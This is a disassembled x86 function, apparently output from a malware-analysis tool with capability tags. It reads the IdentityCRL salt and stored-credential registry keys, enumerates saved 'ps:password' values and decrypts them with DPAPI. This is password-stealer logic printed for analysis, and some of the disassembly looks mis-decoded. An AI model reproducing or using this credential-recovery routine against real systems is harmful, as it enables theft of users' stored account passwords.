Function at 0x40eeb0
Capabilities:
Contain obfuscated stackstrings
Encrypt data using dpapi
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41249b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2b8
push ebx
mov cl, 0x25
mov al, 0x5e
push esi
xor ebx, ebx
push edi
mov byte [ebp - 0xc4], cl
mov dl, 0x24
mov byte [ebp - 0xba], al
mov byte [ebp - 0xb8], cl
mov byte [ebp - 0xb6], al
mov byte [ebp - 0xac], cl
mov byte [ebp - 0xaa], al
mov byte [ebp - 0xa6], al
mov byte [ebp - 0x9a], al
mov byte [ebp - 0x98], cl
mov byte [ebp - 0x96], al
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x84]
mov byte [ebp - 0xc3], bl
mov byte [ebp - 0xc2], 0x47
mov byte [ebp - 0xc1], bl
mov byte [ebp - 0xc0], 0x4b
mov byte [ebp - 0xbf], bl
mov byte [ebp - 0xbe], 0x50
mov byte [ebp - 0xbd], bl
mov byte [ebp - 0xbc], dl
mov byte [ebp - 0xbb], bl
mov byte [ebp - 0xb9], bl
mov byte [ebp - 0xb7], bl
mov byte [ebp - 0xb5], bl
mov byte [ebp - 0xb4], 0x26
mov byte [ebp - 0xb3], bl
mov byte [ebp - 0xb2], 0x4c
mov byte [ebp - 0xb1], bl
mov byte [ebp - 0xb0], 0x4c
mov byte [ebp - 0xaf], bl
mov byte [ebp - 0xae], 0x28
mov byte [ebp - 0xad], bl
mov byte [ebp - 0xab], bl
mov byte [ebp - 0xa9], bl
mov byte [ebp - 0xa8], dl
mov byte [ebp - 0xa7], bl
mov byte [ebp - 0xa5], bl
mov byte [ebp - 0xa4], 0x4f
mov byte [ebp - 0xa3], bl
mov byte [ebp - 0xa2], 0x26
mov byte [ebp - 0xa1], bl
mov byte [ebp - 0xa0], 0x54
mov byte [ebp - 0x9f], bl
mov byte [ebp - 0x9e], 0x52
mov byte [ebp - 0x9d], bl
mov byte [ebp - 0x9c], dl
mov byte [ebp - 0x9b], bl
mov byte [ebp - 0x99], bl
mov byte [ebp - 0x97], bl
mov byte [ebp - 0x95], bl
mov byte [ebp - 0x94], 0x47
mov byte [ebp - 0x93], bl
mov byte [ebp - 0x92], 0x56
mov byte [ebp - 0x91], bl
mov byte [ebp - 0x90], 0x36
mov byte [ebp - 0x8f], bl
mov byte [ebp - 0x8e], 0x3b
mov byte [ebp - 0x8d], bl
mov byte [ebp - 0x8c], 0x6c
mov byte [ebp - 0x8b], bl
mov byte [ebp - 0x8a], 0x78
mov byte [ebp - 0x89], bl
mov byte [ebp - 0x88], 0x7a
mov byte [ebp - 0x87], bl
mov byte [ebp - 0x86], 0x64
mov byte [ebp - 0x85], bl
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
push 0x20019
push ebx
push str.SoftwareMicrosoftIdentityCRLDynamic_Salt
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40f0ac
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x18]
push ecx
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x20]
push edx
push eax
push ebx
push str.Size
push ecx
mov dword [ebp - 0x14], 4
call edi
test eax, eax
je 0x40f0f2
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x18]
inc eax
push eax
call sub.MFC42.DLL_operatornew
mov ecx, dword [ebp - 0x18]
add esp, 4
lea edx, [ebp - 0x14]
mov esi, eax
push edx
lea eax, [ebp - 0x20]
push esi
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x10]
push eax
push ebx
push str.Value
push ecx
call edi
test eax, eax
je 0x40f151
push str.Cant_get_value_HKEY_CURRENT_USERSoftwareMicrosoftIdentityCRLDynamic_SaltValue_n
call dword [sym.imp.MSVCRT.dll_printf]
push esi
call sub.MFC42.DLL_operatordelete
mov edx, dword [ebp - 0x10]
add esp, 8
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x34], ecx
lea edx, [ebp - 0xc4]
push 1
push ebx
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x38], edx
push ebx
push ecx
lea edx, [ebp - 0x34]
push ebx
push edx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x3c], 0x40
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
push esi
call sub.MFC42.DLL_operatordelete
mov eax, dword [ebp - 0x28]
mov esi, dword [ebp - 0x24]
mov ecx, eax
lea edi, [ebp - 0x84]
mov edx, ecx
add esp, 4
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 0x3c]
add edi, eax
mov eax, dword [ebp - 0x24]
push eax
mov dword [ebp - 0x3c], edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x10]
push ecx
push 0x20019
push ebx
push str.SoftwareMicrosoftIdentityCRLCreds
push 0x80000001
call esi
test eax, eax
je 0x40f1f5
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x44]
lea eax, [ebp - 0x2c]
push edx
mov edx, dword [ebp + 8]
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x1c4]
push eax
mov eax, dword [ebp - 0x10]
push ecx
push edx
push eax
mov dword [ebp - 0x2c], 0xff
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
je 0x40f23d
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x1c4]
push 0xff
push edx
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
mov eax, dword [ebp - 0x10]
add esp, 0xc
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x1c4]
push ecx
push 0x20019
push ebx
push edx
push eax
call esi
test eax, eax
je 0x40f28e
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x2c4]
push edx
mov edx, dword [ebp - 0x1c]
lea ecx, [ebp - 0x20]
push eax
push ecx
push ebx
push str.ps:password
push edx
mov dword [ebp - 0x14], 0x100
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40f2dd
mov eax, dword [ebp - 0x1c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
mov ecx, dword [ebp - 0x10]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x1c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call esi
mov eax, dword [ebp - 0x10]
push eax
call esi
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x2c4]
push eax
mov dword [ebp - 0x30], ecx
push 1
push ebx
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x34], edx
push ebx
push ecx
lea edx, [ebp - 0x34]
push ebx
push edx
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
cmp dword [0x418640], 0x4e
jne 0x40f343
mov eax, dword [ebp - 0x28]
mov esi, dword [ebp + 0x10]
mov ecx, dword [ebp - 0x24]
push ebx
push ebx
push 0xff
shr eax, 1
push esi
push eax
push ecx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov byte [eax + esi], bl
jmp 0x40f3c3
cmp dword [0x418d74], ebx
je 0x40f3a1
mov dword [ebp - 4], ebx
call fcn.00407a90
sub al, 0xca
push 0xffffffffffffff9c
jmp 0x8fc8ec40
jmp 0x40f3ae
mov eax, dword [0x418d74]
mov dword [ebp - 4], 0xffffffff
cmp eax, ebx
je 0x40f3c3
call fcn.00407a70
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, 1
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret